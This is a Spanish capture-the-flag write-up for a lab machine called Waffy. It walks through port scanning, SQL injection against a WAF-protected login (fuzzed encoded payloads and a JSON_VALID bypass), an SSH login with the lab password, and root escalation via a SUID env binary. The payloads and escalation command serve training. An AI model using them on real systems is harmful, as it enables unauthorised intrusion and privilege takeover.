Waffy DockerLabs (Hard)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip waffy.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh waffy.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 06:44 EDT
Nmap scan report for packer.pw (172.17.0.2)
Host is up (0.000060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 72:1f:e1:92:70:3f:21:a2:0a:c6:a6:0e:b8:a2:aa:d5 (ECDSA)
|_ 256 8f:3a:cd:fc:03:26:ad:49:4a:6c:a1:89:39:f9:7c:22 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: 403 Forbidden
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.81 seconds
Veremos un puerto 80
en el que generalmente se aloja una pagina web, si entramos dentro veremos un login
normal y corriente, por lo que ya nos da indicios de que podriamos probar credenciales por defecto.
No funcionara, pero si probamos payloads
basicos de SQLi
veremos lo siguiente:
User: ' OR 1=1-- -
Pass: ' OR 1=1-- -
Info:

Con esto que vemos tenemos la sospecha de que puede haber por detras un WAF
, para el que no lo sepa un WAF
(Web Application Firewall) a nivel de Web
es un cortafuegos especializado en proteger aplicaciones web.
A diferencia de un firewall de red tradicional (que solo filtra tráfico por puertos/IPs), un WAF analiza las peticiones HTTP/HTTPS que llegan a una aplicación web para detectar y bloquear ataques comunes.
Por lo que vemos nos esta bloqueando
esa inyeccion, por lo que vamos a intentar Bypassear
dicho WAF
a ver si lo conseguimos.
Probando un sqlmap
no encuentra nada, por lo que vamos a utilizar una pagina llamada CAIDO
, lo vamos a instalar de esta forma:
URL = Download CAIDO
Es una alternativa a BurpSuite
pero totalmente gratis, una vez que nos lo hayamos descargado, vamos instalarlo de esta forma:
dpkg -i caido-desktop-v0.50.2-linux-x86_64.deb
Ahora si buscamos caido
desde kali
veremos que esta instalado, lo iniciamos y tendremos que darle a Start
en la instancia local que viene por defecto por el puerto 8080
, se nos abrira un panel para login
o continuar como invitado, le daremos a como invitado directamente para esta prueba.
Crearemos un nuevo proyecto para utilizarlo, lo llamaremos como queramos, lo seleccionamos y nos vamos en la parte izquierda
donde pone Intercept
.
En esta parte para empezar a interceptar el trafico tendremos que darle al boton de arriba a la derecha llamado >> Forwarding
y esto estara a la escucha de cualquier peticion, desde la Web
como hacemos con BurpSuite
utilizando FoxyProxy
pondremos que la informacion pase atraves del puerto 8080
echo esto probaremos poniendo admin:admin
:

Veremos que lo esta interceptando de forma correcta, por lo que podremos continuar para intentar bypassear
el WAF
de la Web
.
Lo vamos a enviar la peticion dandole a Send Automate
es como el Repeater
en BurpSuite
, nos vamos a la seccion Automate
y ahi tendremos nuestra peticion para repetirlas las veces que queramos.
Si nosotros seleccionamos el campo name=
el valor de dentro lo seleccionamos en mi caso admin
y le damos al +
de arriba a la derecha, se nos pondran una serie de opciones las cuales podremos realizar un fuzzing
probando diferentes payloads
que metamos nosotros en una lista.
Pondremos de tipo Symple List
y dentro añadiremos los payloads
que queramos probar, pero en mi caso no habremos tenido suerte, vamos a utilizar un script
del Pinguino De Mario
en la siguiente pagina:
URL = ElPinguinoDeMario GitHub sqli_dinamico.sh
El cual lo que hace es generar de forma dinamica
payloads
de un SQLi
para intentar Bypassear
un WAF
como es en este caso.
Lo configuraremos a nuestras necesidades, echo esto, vamos a ejecutarlo de esta forma:
bash sqli_dinamico.sh
Info:
.............................<RESTO DE CODIGO>.....................................
[+] Intento 354 - Payload: %E2%80%99 UNiON/*!515*/ALL%0BSELECT%0A1,2,3,4--%0B
[ ] Código de estado: 403 (Ignorado)
----------------------------------------
[+] Intento 355 - Payload: " OR 2048/10=204--+
[ ] Código de estado: 403 (Ignorado)
----------------------------------------
[+] Intento 356 - Payload: %C0%27 OR CONVERT(90, UNSIGNED)=CONVERT(90, UNSIGNED)--%0B
[ ] Código de estado: 403 (Ignorado)
----------------------------------------
[+] Intento 357 - Payload: %C0%A7%E2%80%99%C0%A7OR%C0%A71=1--%0D
[✓] Código de estado: 200 (INTERESANTE)
----------------------------------------
[+] Intento 358 - Payload: %C0%27/*!MySQL-710.161*/OR/*!*/1=1-- -
[ ] Código de estado: 403 (Ignorado)
----------------------------------------
[+] Intento 359 - Payload: %27%E2%80%82OR%E2%80%8490%E2%80%85=%E2%80%864096--%0A
[✓] Código de estado: 200 (INTERESANTE)
----------------------------------------
[+] Intento 360 - Payload: %27 OR CONVERT(40, UNSIGNED)=CONVERT(40, UNSIGNED)--+
^C
[✓] Ejecución interrumpida por usuario
[✓] Total de payloads probados: 360
[✓] Payloads interesantes encontrados: 70
[✓] Archivo: sql_payloads_1756036266.txt
Cuando lo paremos se nos generara un diccionario de payloads
solamente de los cuales ha tenido algun exito
que no haya sido un 403
o 404
, por lo que este diccionario lo vamos a cargar en nuestro Automate
de CAIDO
y echo esto le daremos a Run
.

Pero veremos que no tendremos exito
, vamos a probar con un diccionario un poco mas grande, a ver si hay suerte...
Escalate user baluton
Pero veremos que no funciona, despues de buscar un buen rato, vemos que con una explotacion de sqli
en formato de Bypass con JSON functions
funciona, por lo que haremos esto:
User: ' OR JSON_VALID('{"a":1}')-- -
Pass: ' OR JSON_VALID('{"a":1}')-- -
Y con esto veremos lo siguiente:

Veremos que ha funcionado, por lo que nos vamos a conectar por SSH
a ver que vemos.
SSH
ssh baluton@<IP>
Metemos como contraseña balulerobalulon
, con esto estaremos dentro.
Escalate Privileges
Si listamos los permisos SUID
veremos lo siguiente:
find / -type f -perm -4000 -ls 2>/dev/null
Info:
3697405 56 -rwsr-xr-x 1 root root 55680 Jun 5 14:17 /usr/bin/su
3696955 72 -rwsr-xr-x 1 root root 72792 May 30 2024 /usr/bin/chfn
3697231 40 -rwsr-xr-x 1 root root 40664 May 30 2024 /usr/bin/newgrp
3697059 76 -rwsr-xr-x 1 root root 76248 May 30 2024 /usr/bin/gpasswd
3697027 48 -rwsr-xr-x 1 root root 48072 Apr 5 2024 /usr/bin/env
3697244 64 -rwsr-xr-x 1 root root 64152 May 30 2024 /usr/bin/passwd
3697470 40 -rwsr-xr-x 1 root root 39296 Jun 5 14:17 /usr/bin/umount
3697189 52 -rwsr-xr-x 1 root root 51584 Jun 5 14:17 /usr/bin/mount
3696961 44 -rwsr-xr-x 1 root root 44760 May 30 2024 /usr/bin/chsh
3697976 336 -rwsr-xr-x 1 root root 342632 Jun 9 19:22 /usr/lib/openssh/ssh-keysign
3697692 36 -rwsr-xr-- 1 root messagebus 34960 Aug 9 2024 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Veremos esta linea bastante interesante:
3697027 48 -rwsr-xr-x 1 root root 48072 Apr 5 2024 /usr/bin/env
Viendo esto podremos realizar lo siguiente para ser root
.
/usr/bin/env /bin/bash -p
Info:
bash-5.2# whoami
root
Con esto ya seremos root
, por lo que habremos terminado la maquina con éxito.
Last updated